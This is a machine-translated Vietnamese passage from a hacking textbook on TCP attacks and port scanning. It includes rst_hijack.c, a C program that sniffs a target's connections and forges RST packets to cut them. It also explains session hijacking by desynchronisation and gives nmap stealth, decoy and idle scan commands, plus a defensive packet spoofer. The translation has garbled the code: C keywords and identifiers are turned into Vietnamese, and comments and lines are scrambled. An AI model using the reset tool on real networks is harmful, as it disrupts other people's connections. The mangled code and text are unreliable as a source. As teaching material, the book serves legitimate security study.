Để tạo bộ lọc phù hợp khi cờ ACK được bật mà không quan tâm đến bất kỳ bit
nào khác, toán tử AND từng bit được sử dụng.
ANDing 00010010 với 00010000 sẽ tạo ra 00010000, vì bit ACK là bit duy nhất mà cả
hai bit đều là 1. Điều này có nghĩa là bộ lọc tcp[13] & 16 == 16
sẽ khớp với các gói tin có cờ ACK được bật, bất kể trạng thái của các cờ còn lại.
Quy tắc bộ lọc này có thể được viết lại bằng cách sử dụng các giá trị được đặt tên và
logic đảo ngược như tcp[tcpflags] & tcp-ack != 0. Điều này dễ đọc hơn nhưng vẫn cung cấp cùng
một kết quả. Quy tắc này có thể được kết hợp với quy tắc IP đích trước đó bằng cách sử dụng
logic và; quy tắc đầy đủ được hiển thị bên dưới.
reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 và máy chủ đích 192.168.42.88"
tcpdump: đầu ra chi tiết bị loại bỏ, sử dụng -v hoặc -vv để giải mã giao thức đầy đủ
đang lắng nghe trên eth0, loại liên kết EN10MB (Ethernet), kích thước chụp 96 byte
10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: .
ack 2777534975 thắng 92
<nop,nop,timestamp 85838571 0>
10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . 85838621
ack 22 thắng 92 <nop,nop,timestamp
29399>
10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) xác nhận 22 thắng 92 <nop,nop,dấu
thời gian 85838621 29399>
10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) xác nhận 766 thắng 115 <nop,nop,dấu
thời gian 85838622 29399>
10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 thắng 115 <nop,nop,timestamp
85838659 29402>
Một quy tắc tương tự được sử dụng trong chương trình sau để lọc các gói
libpcap sniff. Khi chương trình nhận được một gói, thông tin tiêu đề được sử
dụng để giả mạo một gói RST. Chương trình này sẽ được giải thích như được liệt kê.
rst_hijack.c
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *);
cấu trúc dữ liệu truyền {
int xử lý libnet;
u_char *gói tin;
};
int main(int argc, char *argv[]) {
cấu trúc pcap_pkthdr cap_header;
const u_char *gói tin, *dữ liệu gói tin;
pcap_t *xử lý pcap;
260 0x400
Machine Translated by Google
char errbuf[PCAP_ERRBUF_SIZE]; // Cùng kích thước với LIBNET_ERRBUF_SIZE
char *thiết bị;
u_long đích_ip;
mạng int;
cấu trúc data_pass dữ liệu_libnet_quan trọng;
nếu(argc < 1) {
printf("Cách sử dụng: %s <IP mục tiêu>\n", argv[0]);
thoát(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
nếu (target_ip == -1)
fatal("Địa chỉ mục tiêu không hợp lệ");
thiết bị = pcap_lookupdev(errbuf);
nếu(thiết bị == NULL)
chết người(errbuf);
pcap_handle = pcap_open_live(thiết bị, 128, 1, 0, errbuf);
nếu(pcap_handle == NULL)
chết người(errbuf);
xử lý libnet quan trọng = libnet_open_raw_sock(IPPROTO_RAW);
nếu(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể mở giao diện mạng. -- chương trình này phải chạy dưới dạng root.
\n");
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));
nếu (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "không thể khởi tạo bộ nhớ gói tin.\n");
libnet_seed_prand();
set_packet_filter(xử lý pcap, (cấu trúc in_addr *)&target_ip);
printf("Đặt lại tất cả các kết nối TCP tới %s trên %s\n", argv[1], thiết bị);
pcap_loop(xử lý pcap, -1, gói tin bị bắt, (u_char *)&dữ liệu_libnet_quan trọng);
pcap_close(xử lý pcap);
}
Phần lớn chương trình này có thể có ý nghĩa với bạn. Ban đầu, một cấu trúc data_pass được
định nghĩa, được sử dụng để truyền dữ liệu qua hàm gọi lại libpcap. libnet được sử dụng để mở
giao diện socket thô và phân bổ bộ nhớ gói. Mô tả tệp cho socket thô và một con trỏ đến bộ
nhớ gói sẽ cần thiết trong hàm gọi lại, do đó dữ liệu libnet quan trọng này được lưu trữ trong
cấu trúc riêng của nó. Đối số cuối cùng cho lệnh gọi pcap_loop() là con trỏ người dùng, được
truyền trực tiếp đến hàm gọi lại. Bằng cách truyền một con trỏ đến cấu trúc
critical_libnet_data , hàm gọi lại sẽ có quyền truy cập vào mọi thứ trong cấu trúc này. Ngoài
ra, giá trị độ dài snap được sử dụng trong pcap_open_live()
đã được giảm từ 4096 xuống 128, vì thông tin cần thiết từ gói tin chỉ nằm trong
phần tiêu đề.
Mạng lưới 261
Machine Translated by Google
/* Thiết lập bộ lọc gói tin để tìm kiếm các kết nối TCP đã thiết lập tới target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {
cấu trúc bpf_program bộ lọc;
char_filter_string[100];
sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 và máy chủ đích %s", inet_ntoa(*target_ip));
printf("DEBUG: chuỗi bộ lọc là \'%s\'\n", filter_string);
nếu(pcap_compile(pcap_hdl, &filter, chuỗi_lọc, 0, 0) == -1)
fatal("pcap_compile không thành công");
nếu(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal("pcap_setfilter không thành công");
}
Hàm tiếp theo biên dịch và thiết lập BPF để chỉ chấp nhận các gói tin từ các kết nối đã thiết
lập đến IP đích. Hàm sprintf() chỉ là một hàm printf()
in ra một chuỗi.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
u_char *pkt_data;
cấu trúc libnet_ip_hdr *IPhdr;
cấu trúc libnet_tcp_hdr *TCPhdr;
struct data_pass *đã vượt qua;
int đếm;
passed = (struct data_pass *) user_args; // Truyền dữ liệu bằng cách sử dụng con trỏ tới một struct.
IPhdr = (struct libnet_ip_hdr *) (gói tin + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (gói tin + LIBNET_ETH_H + LIBNET_TCP_H);
printf("đặt lại kết nối TCP từ %s:%d ",
inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));
printf("<---> %s:%d\n",
inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));
libnet_build_ip(LIBNET_TCP_H,
IPTOS_THỜI GIAN THẤP,
// Kích thước của gói tin không có tiêu đề IP
// IP tos
libnet_get_prand(LIBNET_PRu16), // ID IP (ngẫu nhiên)
// Frag stuff 0,
libnet_get_prand(LIBNET_PR8), // TTL (ngẫu nhiên)
IPPROTO_TCP,
// Giao thức vận chuyển
*((u_long *)&(IPhdr->ip_dst)), // IP nguồn (giả sử chúng ta là dst) *((u_long
*)&(IPhdr->ip_src)), // IP đích (gửi lại src)
NULL,
// Tải trọng (không có)
// Chiều dài tải trọng
0, đã truyền->gói);
// Bộ nhớ tiêu đề gói tin
libnet_build_tcp(htons(TCPhdr->th_dport), // Cổng TCP nguồn (giả sử chúng ta là dst) htons(TCPhdr>th_sport),
// Cổng TCP đích (gửi lại src) htonl(TCPhdr->th_ack),
// Số thứ tự (sử dụng xác nhận trước đó)
libnet_get_prand(LIBNET_PRu32), // Số xác nhận (ngẫu nhiên)
262 0x400
Machine Translated by Google
TH_RST,
// Cờ điều khiển (chỉ cờ RST được đặt)
libnet_get_prand(LIBNET_PRu16), // Kích thước cửa sổ (ngẫu nhiên)
// Con trỏ khẩn cấp 0,
// Tải trọng (không có)
VÔ GIÁ TRỊ,
// Chiều dài tải trọng
0, (passed->packet) + LIBNET_IP_H);// Bộ nhớ tiêu đề gói
nếu (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể tính toán tổng kiểm tra\n");
bcount = libnet_write_ip(đã truyền->libnet_handle, đã truyền->packet, LIBNET_IP_H+LIBNET_TCP_H);
nếu (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, "Cảnh báo: Gói tin được ghi chưa đầy đủ.");
usleep(5000); // tạm dừng một chút
}
Hàm gọi lại giả mạo các gói RST. Đầu tiên, dữ liệu libnet quan trọng được truy xuất và các con trỏ
đến tiêu đề IP và TCP được đặt bằng các cấu trúc có trong libnet. Chúng ta có thể sử dụng các cấu trúc
của riêng mình từ hacking-network.h, nhưng các cấu trúc libnet đã có sẵn và bù đắp cho thứ tự byte của
máy chủ. Gói RST giả mạo sử dụng địa chỉ nguồn đã đánh hơi làm đích và ngược lại. Số thứ tự đã đánh
hơi được sử dụng làm số xác nhận của gói giả mạo, vì đó là những gì được mong đợi.
reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
người đọc@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88
GỠ LỖI: chuỗi bộ lọc là 'tcp[tcpflags] & tcp-ack != 0 và máy chủ đích 192.168.42.88'
Đặt lại tất cả các kết nối TCP thành 192.168.42.88 trên eth0
đang thiết lập lại kết nối TCP từ 192.168.42.72:47783 <---> 192.168.42.88:22
0x462 Tiếp tục bị cướp
Gói tin giả mạo không cần phải là gói tin RST. Cuộc tấn công này trở nên thú vị hơn khi gói tin giả mạo
chứa dữ liệu. Máy chủ nhận được gói tin giả mạo, tăng số thứ tự và phản hồi đến IP của nạn nhân. Vì
máy của nạn nhân không biết về gói tin giả mạo nên phản hồi của máy chủ có số thứ tự không chính xác, do
đó nạn nhân bỏ qua gói tin phản hồi đó. Và vì máy của nạn nhân bỏ qua gói tin phản hồi của máy chủ nên
số thứ tự của nạn nhân bị sai. Do đó, bất kỳ gói tin nào mà nạn nhân cố gắng gửi đến máy chủ cũng sẽ
có số thứ tự không chính xác, khiến máy chủ bỏ qua gói tin đó. Trong trường hợp này, cả hai phía hợp
lệ của kết nối đều có số thứ tự không chính xác, dẫn đến trạng thái không đồng bộ. Và vì kẻ tấn công đã
gửi gói tin giả mạo đầu tiên gây ra tất cả sự hỗn loạn này nên nó có thể theo dõi số thứ tự và tiếp tục
giả mạo các gói tin từ địa chỉ IP của nạn nhân đến máy chủ. Điều này cho phép kẻ tấn công tiếp tục giao
tiếp với máy chủ trong khi kết nối của nạn nhân bị treo.
Mạng lưới 263
Machine Translated by Google
0x470 Quét cổng
Quét cổng là một cách để tìm ra cổng nào đang lắng nghe và chấp nhận kết nối. Vì
hầu hết các dịch vụ đều chạy trên các cổng chuẩn, được ghi chép lại, thông tin
này có thể được sử dụng để xác định dịch vụ nào đang chạy. Hình thức quét cổng
đơn giản nhất bao gồm việc cố gắng mở các kết nối TCP tới mọi cổng có thể có
trên hệ thống đích. Mặc dù điều này hiệu quả, nhưng nó cũng gây nhiễu và có
thể phát hiện được. Ngoài ra, khi các kết nối được thiết lập, các dịch vụ thường
sẽ ghi lại địa chỉ IP. Để tránh điều này, một số kỹ thuật thông minh đã được phát minh.
Một công cụ quét cổng có tên là nmap, do Fyodor viết, triển khai tất cả các
kỹ thuật quét cổng sau. Công cụ này đã trở thành một trong những công cụ quét
cổng nguồn mở phổ biến nhất.
0x471 Quét SYN tàng hình
Quét SYN đôi khi cũng được gọi là quét nửa mở . Điều này là do nó không thực sự
mở kết nối TCP đầy đủ. Nhớ lại quá trình bắt tay TCP/IP: Khi kết nối đầy đủ được
thiết lập, trước tiên một gói SYN được gửi, sau đó một gói SYN/ACK được gửi lại
và cuối cùng một gói ACK được trả về để hoàn tất quá trình bắt tay và mở kết
nối. Quét SYN không hoàn tất quá trình bắt tay, do đó kết nối đầy đủ không bao
giờ được mở. Thay vào đó, chỉ có gói SYN ban đầu được gửi và phản hồi được kiểm
tra. Nếu nhận được gói SYN/ACK để phản hồi, thì cổng đó phải đang chấp nhận kết
nối. Điều này được ghi lại và một gói RST được gửi để phá vỡ kết nối nhằm ngăn
dịch vụ vô tình bị DoSed.
Sử dụng nmap, có thể thực hiện quét SYN bằng tùy chọn dòng lệnh -sS. Chương trình phải được
chạy dưới dạng root, vì chương trình không sử dụng socket chuẩn và cần quyền truy cập mạng thô.
người đọc@hacking:~/booksrc $ sudo nmap -sS 192.168.42.72
Bắt đầu Nmap 4.20 ( http://insecure.org ) lúc 2007-05-29 09:19 PDT
Các cổng thú vị trên 192.168.42.72:
Không hiển thị: 1696 cổng đã đóng
DỊCH VỤ CỦA NHÀ NƯỚC CẢNG
22/tcp mở ssh
Nmap đã hoàn thành: 1 địa chỉ IP (1 máy chủ hoạt động) được quét trong 0,094 giây
0x472 Quét FIN, X-mas và Null
Để ứng phó với quét SYN, các công cụ mới để phát hiện và ghi lại các kết nối nửa
mở đã được tạo ra. Vì vậy, một bộ sưu tập các kỹ thuật khác để quét cổng ẩn đã
phát triển: quét FIN, X-mas và Null. Tất cả đều liên quan đến việc gửi một gói
tin vô nghĩa đến mọi cổng trên hệ thống đích. Nếu một cổng đang lắng nghe, các
gói tin này sẽ bị bỏ qua. Tuy nhiên, nếu cổng bị đóng và việc triển khai tuân
theo giao thức (RFC 793), một gói tin RST sẽ được gửi. Sự khác biệt này có thể
được sử dụng để phát hiện cổng nào đang chấp nhận kết nối mà không thực sự mở
bất kỳ kết nối nào.
Quét FIN gửi một gói FIN, quét X-mas gửi một gói với FIN, URG và PUSH
được bật (được đặt tên như vậy vì các cờ sáng lên như một
264 0x400
Machine Translated by Google
Cây thông Noel), và quét Null gửi một gói tin không có cờ TCP nào được đặt. Mặc dù
các loại quét này có tính ẩn danh hơn, nhưng chúng cũng có thể không đáng tin cậy.
Ví dụ, việc triển khai TCP của Microsoft không gửi các gói tin RST như bình thường,
khiến cho hình thức quét này trở nên không hiệu quả.
Sử dụng nmap, FIN, X-mas và quét NULL có thể được thực hiện bằng cách sử dụng
tùy chọn dòng lệnh -sF, -sX và -sN tương ứng. Đầu ra của chúng về cơ bản trông
giống như lần quét trước.
0x473 Mồi nhử giả mạo
Một cách khác để tránh bị phát hiện là ẩn mình giữa nhiều mồi nhử. Kỹ thuật này chỉ
đơn giản là giả mạo các kết nối từ nhiều địa chỉ IP mồi nhử khác nhau giữa mỗi kết
nối quét cổng thực. Phản hồi từ các kết nối giả mạo không cần thiết vì chúng chỉ đơn
giản là đánh lừa. Tuy nhiên, các địa chỉ mồi nhử giả mạo phải sử dụng địa chỉ IP
thực của máy chủ trực tiếp; nếu không, mục tiêu có thể vô tình bị tràn ngập SYN.
Có thể chỉ định mồi nhử trong nmap bằng tùy chọn dòng lệnh -D .
Lệnh nmap mẫu hiển thị bên dưới sẽ quét IP 192.168.42.72, sử dụng 192.168.42.10 và
192.168.42.11 làm mồi nhử.
người đọc@hacking:~/booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42.72
0x474 Quét nhàn rỗi
Quét nhàn rỗi là một cách quét mục tiêu bằng các gói tin giả mạo từ một máy chủ
nhàn rỗi, bằng cách quan sát những thay đổi trong máy chủ nhàn rỗi. Kẻ tấn công
cần tìm một máy chủ nhàn rỗi có thể sử dụng được, không gửi hoặc nhận bất kỳ lưu lượng
mạng nào khác và có triển khai TCP tạo ra ID IP có thể dự đoán được, thay đổi theo
mức tăng đã biết với mỗi gói tin. ID IP được cho là duy nhất cho mỗi gói tin trên
mỗi phiên và chúng thường được tăng theo một lượng cố định.
ID IP có thể dự đoán chưa bao giờ thực sự được coi là rủi ro bảo mật và quét nhàn rỗi
tận dụng quan niệm sai lầm này. Các hệ điều hành mới hơn, chẳng hạn như nhân Linux,
OpenBSD và Windows Vista gần đây, ngẫu nhiên hóa ID IP, nhưng các hệ điều hành và
phần cứng cũ hơn (chẳng hạn như máy in) thường không làm như vậy.
Đầu tiên, kẻ tấn công lấy được IP ID hiện tại của máy chủ nhàn rỗi bằng cách
liên hệ với nó bằng một gói SYN hoặc một gói SYN/ACK không được yêu cầu và quan sát
IP ID của phản hồi. Bằng cách lặp lại quá trình này thêm vài lần nữa, có thể xác
định được mức tăng áp dụng cho IP ID với mỗi gói.
Sau đó, kẻ tấn công gửi một gói SYN giả mạo với IP của máy chủ nhàn rỗi
địa chỉ đến một cổng trên máy mục tiêu. Một trong hai điều sau sẽ xảy ra, tùy
thuộc vào việc cổng đó trên máy nạn nhân có đang lắng nghe hay không:
Nếu cổng đó đang lắng nghe, một gói SYN/ACK sẽ được gửi lại cho máy chủ nhàn
rỗi. Nhưng vì máy chủ nhàn rỗi thực sự không gửi gói SYN ban đầu, nên phản
hồi này có vẻ như không được yêu cầu đối với máy chủ nhàn rỗi và nó phản hồi
bằng cách gửi lại một gói RST.
Nếu cổng đó không lắng nghe, máy đích sẽ không gửi gói SYN/ACK trở lại máy chủ
nhàn rỗi, do đó máy chủ nhàn rỗi sẽ không phản hồi.
Mạng lưới 265
Machine Translated by Google
Tại thời điểm này, kẻ tấn công liên hệ lại với máy chủ nhàn rỗi để xác định
ID IP đã tăng bao nhiêu. Nếu nó chỉ tăng một khoảng thời gian, không có gói tin
nào khác được máy chủ nhàn rỗi gửi ra giữa hai lần kiểm tra. Điều này ngụ ý rằng
cổng trên máy mục tiêu đã đóng. Nếu ID IP đã tăng hai khoảng thời gian, một gói
tin, có thể là một gói tin RST, đã được máy nhàn rỗi gửi ra giữa các lần kiểm
tra. Điều này ngụ ý rằng cổng trên máy mục tiêu đang mở.
Các bước được minh họa ở trang tiếp theo cho cả hai kết quả có thể xảy ra.
Tất nhiên, nếu máy chủ nhàn rỗi không thực sự nhàn rỗi, kết quả sẽ bị lệch.
Nếu có lưu lượng nhẹ trên máy chủ nhàn rỗi, nhiều gói có thể được gửi cho mỗi
cổng. Nếu 20 gói được gửi, thì sự thay đổi của 20 bước gia tăng sẽ là dấu hiệu
của một cổng mở và không có cổng đóng. Ngay cả khi có lưu lượng nhẹ, chẳng hạn
như một hoặc hai gói không liên quan đến quét được máy chủ nhàn rỗi gửi, sự
khác biệt này đủ lớn để vẫn có thể phát hiện được.
Nếu kỹ thuật này được sử dụng đúng cách trên máy chủ nhàn rỗi không có chức năng ghi nhật ký, kẻ
tấn công có thể quét bất kỳ mục tiêu nào mà không cần tiết lộ địa chỉ IP của mình.
Sau khi tìm thấy máy chủ nhàn rỗi phù hợp, có thể thực hiện loại quét này
bằng nmap bằng tùy chọn dòng lệnh -sI theo sau là địa chỉ của máy chủ nhàn rỗi:
người đọc@hacking:~/booksrc $ sudo nmap -sI idlehost.com 192.168.42.7
Cổng mở trên mục tiêu
3
ID cuối cùng từ
máy chủ nhàn rỗi = 50
ĐỒNG BỘ/XÁC NHẬN
Máy chủ nhàn rỗi
Kẻ tấn công
RST (ID = 52)
1
2
ĐỒNG BỘ/XÁC NHẬN
RST (ID = 51)
ĐỒNG BỘ
Bị giả mạo với máy chủ nhàn rỗi
như địa chỉ nguồn
Mục tiêu
2
Cảng đóng cửa theo mục tiêu
ID cuối cùng từ
máy chủ nhàn rỗi = 50
ĐỒNG BỘ/XÁC NHẬN
Máy chủ nhàn rỗi
Kẻ tấn công
RST (ID = 51)
1
ĐỒNG BỘ
Bị giả mạo với máy chủ nhàn rỗi
như địa chỉ nguồn
Mục tiêu
266 0x400
Machine Translated by Google
0x475 Phòng thủ chủ động (vỏ bọc)
Quét cổng thường được sử dụng để lập hồ sơ hệ thống trước khi chúng bị tấn
công. Biết được cổng nào đang mở cho phép kẻ tấn công xác định dịch vụ nào
có thể bị tấn công. Nhiều IDS cung cấp các phương pháp để phát hiện quét
cổng, nhưng đến lúc đó thông tin đã bị rò rỉ. Khi viết chương này, tôi tự hỏi
liệu có thể ngăn chặn quét cổng trước khi chúng thực sự xảy ra hay không.
Thực ra, hack là đưa ra những ý tưởng mới, vì vậy một phương pháp mới được
phát triển để phòng thủ quét cổng chủ động sẽ được trình bày ở đây.
Trước hết, các lần quét FIN, Null và X-mas có thể được ngăn chặn bằng
một sửa đổi kernel đơn giản. Nếu kernel không bao giờ gửi các gói reset, các
lần quét này sẽ không tìm thấy gì. Đầu ra sau đây sử dụng grep để tìm mã
kernel chịu trách nhiệm gửi các gói reset.
reader@hacking:~/booksrc $ grep -n -A 20 "void.*send_reset" /usr/src/linux/net/ipv4/tcp_ipv4.c
547: static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb)
548-{
549-
cấu trúc tcphdr *th = skb->h.th;
550-
cấu trúc {
551-
cấu trúc tcphdr th;
552-#ifdef CONFIG_TCP_MD5SIG
__be32 lựa chọn[(TCPOLEN_MD5SIG_ALIGNED >> 2)];
553-554-#kết thúc
555-
} trả lời;
556- cấu trúc ip_reply_arg arg;
557-#ifdef CONFIG_TCP_MD5SIG
558- cấu trúc tcp_md5sig_key *key;
559-#kết thúc
560-
return; // Sửa đổi: Không bao giờ gửi RST, luôn luôn trả về.
561-
/* Không bao giờ gửi lệnh đặt lại để đáp lại lệnh đặt lại. */
562-
nếu (thứ nhất->thứ hai)
563-
trở lại;
564565566-
nếu (((struct rtable *)skb->dst)->rt_type != RTN_LOCAL)
trở lại;
567người đọc@hacking:~/booksrc $
Bằng cách thêm lệnh return (hiển thị ở trên in đậm), hàm
kernel tcp_v4_send_reset() sẽ chỉ trả về thay vì thực hiện bất kỳ thao
tác nào. Sau khi kernel được biên dịch lại, kernel kết quả sẽ không gửi
các gói tin reset, tránh rò rỉ thông tin.
Quét FIN trước khi sửa đổi Kernel
ma trận@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72
Bắt đầu Nmap 4.11 ( http://www.insecure.org/nmap/ ) lúc 2007-03-17 16:58 PDT
Các cổng thú vị trên 192.168.42.72:
Không hiển thị: 1678 cổng đã đóng
Mạng lưới 267
Machine Translated by Google
CẢNG QUỐC GIA
DỊCH VỤ
22/tcp mở|ssh được lọc
80/tcp mở|lọc http
Địa chỉ MAC: 00:01:6C:EB:1D:50 (Foxconn)
Nmap đã hoàn thành: 1 địa chỉ IP (1 máy chủ đang hoạt động) được quét trong 1,462 giây
ma trận@euclid:~ $
Quét FIN sau khi sửa đổi Kernel
ma trận@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72
Bắt đầu Nmap 4.11 ( http://www.insecure.org/nmap/ ) lúc 2007-03-17 16:58 PDT
Các cổng thú vị trên 192.168.42.72:
Không hiển thị: 1678 cổng đã đóng
DỊCH VỤ CỦA NHÀ NƯỚC CẢNG
Địa chỉ MAC: 00:01:6C:EB:1D:50 (Foxconn)
Nmap đã hoàn thành: 1 địa chỉ IP (1 máy chủ đang hoạt động) được quét trong 1,462 giây
ma trận@euclid:~ $
Cách này hiệu quả với các lần quét dựa trên các gói RST, nhưng việc ngăn chặn rò rỉ
thông tin bằng quét SYN và quét kết nối đầy đủ thì khó hơn một chút.
Để duy trì chức năng, các cổng mở phải phản hồi bằng các gói SYN/ACK—không có cách nào
khác. Nhưng nếu tất cả các cổng đóng cũng phản hồi bằng các gói SYN/ACK, lượng thông
tin hữu ích mà kẻ tấn công có thể lấy được từ các lần quét cổng sẽ bị giảm thiểu. Tuy
nhiên, chỉ cần mở mọi cổng sẽ gây ra sự sụt giảm lớn về hiệu suất, điều này không mong
muốn.
Lý tưởng nhất là tất cả những điều này nên được thực hiện mà không cần sử dụng ngăn xếp
TCP. Chương trình sau đây thực hiện chính xác điều đó. Đây là bản sửa đổi của chương trình
rst_hijack.c, sử dụng chuỗi BPF phức tạp hơn để chỉ lọc các gói SYN dành cho các cổng đóng.
Hàm gọi lại giả mạo phản hồi SYN/ACK trông hợp lệ cho bất kỳ gói SYN nào đi qua BPF. Điều
này sẽ làm tràn ngập máy quét cổng bằng một biển các kết quả dương tính giả, điều này sẽ
ẩn các cổng hợp lệ.
tấm vải liệm.c
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
#define MAX_EXISTING_PORTS 30
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *, u_short *);
cấu trúc dữ liệu truyền {
int libnet_handle;
u_char *packet;
};
int main(int argc, char *argv[]) {
cấu trúc pcap_pkthdr cap_header;
const u_char *gói tin, *dữ liệu gói tin;
pcap_t *xử lý pcap;
268 0x400
Machine Translated by Google
char errbuf[PCAP_ERRBUF_SIZE]; // Cùng kích thước với LIBNET_ERRBUF_SIZE char
*device; u_long
target_ip; int
network, i; struct
data_pass critical_libnet_data; u_short
existing_ports[MAX_EXISTING_PORTS];
if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) { if(argc > 2)
printf("Giới hạn
theo dõi %d cổng hiện có.\n", MAX_EXISTING_PORTS); else
printf("Cách sử dụng: %s <IP để che giấu> [các cổng hiện có...]\n", argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); nếu
(target_ip == -1)
fatal("Địa chỉ mục tiêu không hợp lệ");
đối với (i = 2; i < argc; i++)
existing_ports[i-2] = (u_short) atoi(argv[i]);
existing_ports[argc-2] = 0;
thiết bị = pcap_lookupdev(errbuf);
nếu(thiết bị == NULL)
gây tử vong(errbuf);
pcap_handle = pcap_open_live(thiết bị, 128, 1, 0, errbuf);
nếu(pcap_handle == NULL)
gây tử vong(errbuf);
xử lý libnet_data quan trọng.libnet = libnet_open_raw_sock(IPPROTO_RAW);
nếu(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể mở giao diện mạng. -- chương trình này phải chạy dưới dạng root.
\n");
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet)); nếu
(critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "không thể khởi tạo bộ nhớ gói tin.\n");
libnet_seed_prand();
set_packet_filter(xử lý pcap, (struct in_addr *)&target_ip, cổng hiện tại);
pcap_loop(xử lý pcap, -1, gói tin bị bắt, (u_char *)&dữ liệu libnet quan trọng);
pcap_close(xử lý pcap);
}
/* Thiết lập bộ lọc gói tin để tìm kiếm các kết nối TCP đã thiết lập tới target_ip */ int
set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) { struct bpf_program
filter; char *str_ptr,
filter_string[90 + (25 * MAX_EXISTING_PORTS)]; int i=0;
sprintf(filter_string, "dst host %s and ", inet_ntoa(*target_ip)); // IP đích
Mạng lưới 269
Machine Translated by Google
strcat(filter_string, "tcp[tcpflags] & tcp-syn != 0 và tcp[tcpflags] & tcp-ack = 0");
if(ports[0] != 0) { // Nếu có ít nhất một cổng hiện có
str_ptr = chuỗi_bộ_lọc + strlen(chuỗi_bộ_lọc);
if(ports[1] == 0) // Chỉ có một cổng hiện có
sprintf(str_ptr, " và không phải cổng đích %hu", ports[i]);
else { // Hai hoặc nhiều cổng hiện có
sprintf(str_ptr, " và không phải (cổng cuối cùng %hu", ports[i++]);
trong khi(cổng[i] != 0) {
str_ptr = chuỗi_bộ_lọc + strlen(chuỗi_bộ_lọc);
sprintf(str_ptr, " hoặc cổng cuối cùng %hu", ports[i++]);
}
strcat(chuỗi_bộ_lọc, ")");
}
}
printf("DEBUG: chuỗi bộ lọc là \'%s\'\n", filter_string);
nếu(pcap_compile(pcap_hdl, &filter, chuỗi_lọc, 0, 0) == -1)
fatal("pcap_compile không thành công");
nếu(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal("pcap_setfilter không thành công");
}
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
u_char *pkt_data;
cấu trúc libnet_ip_hdr *IPhdr;
cấu trúc libnet_tcp_hdr *TCPhdr;
struct data_pass *đã vượt qua;
int đếm;
passed = (struct data_pass *) user_args; // Truyền dữ liệu bằng cách sử dụng con trỏ tới một struct
IPhdr = (struct libnet_ip_hdr *) (gói tin + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (gói tin + LIBNET_ETH_H + LIBNET_TCP_H);
libnet_build_ip(LIBNET_TCP_H,
IPTOS_LOWDELAY,
// Kích thước của gói tin không có tiêu đề IP
// IP tos
libnet_get_prand(LIBNET_PRu16), // ID IP (ngẫu nhiên)
// Frag stuff 0,
libnet_get_prand(LIBNET_PR8), // TTL (ngẫu nhiên)
IPPROTO_TCP,
// Giao thức vận chuyển
*((u_long *)&(IPhdr->ip_dst)), // IP nguồn (giả sử chúng ta là dst) *((u_long
*)&(IPhdr->ip_src)), // IP đích (gửi lại src)
NULL,
// Tải trọng (không có)
// Chiều dài tải trọng
0, đã truyền->gói);
// Bộ nhớ tiêu đề gói tin
libnet_build_tcp(htons(TCPhdr->th_dport),// Cổng TCP nguồn (giả sử chúng ta là dst) htons(TCPhdr>th_sport),
// Cổng TCP đích (gửi lại src) htonl(TCPhdr->th_ack),
// Số thứ tự (sử dụng xác nhận trước đó)
htonl((TCPhdr->th_seq) + 1),
// Số xác nhận (SYN's seq # + 1)
TH_SYN | TH_ACK,
// Cờ điều khiển (chỉ cờ RST được đặt)
libnet_get_prand(LIBNET_PRu16), // Kích thước cửa sổ (ngẫu nhiên)
// Con trỏ khẩn cấp 0,
270 0x400
Machine Translated by Google
// Tải trọng (không có)
VÔ GIÁ TRỊ,
// Chiều dài tải trọng
0, (passed->packet) + LIBNET_IP_H);// Bộ nhớ tiêu đề gói
nếu (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể tính toán tổng kiểm tra\n");
bcount = libnet_write_ip(đã truyền->libnet_handle, đã truyền->packet, LIBNET_IP_H+LIBNET_TCP_H);
nếu (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, "Cảnh báo: Gói tin được ghi chưa đầy đủ.");
printf("bing!\n");
}
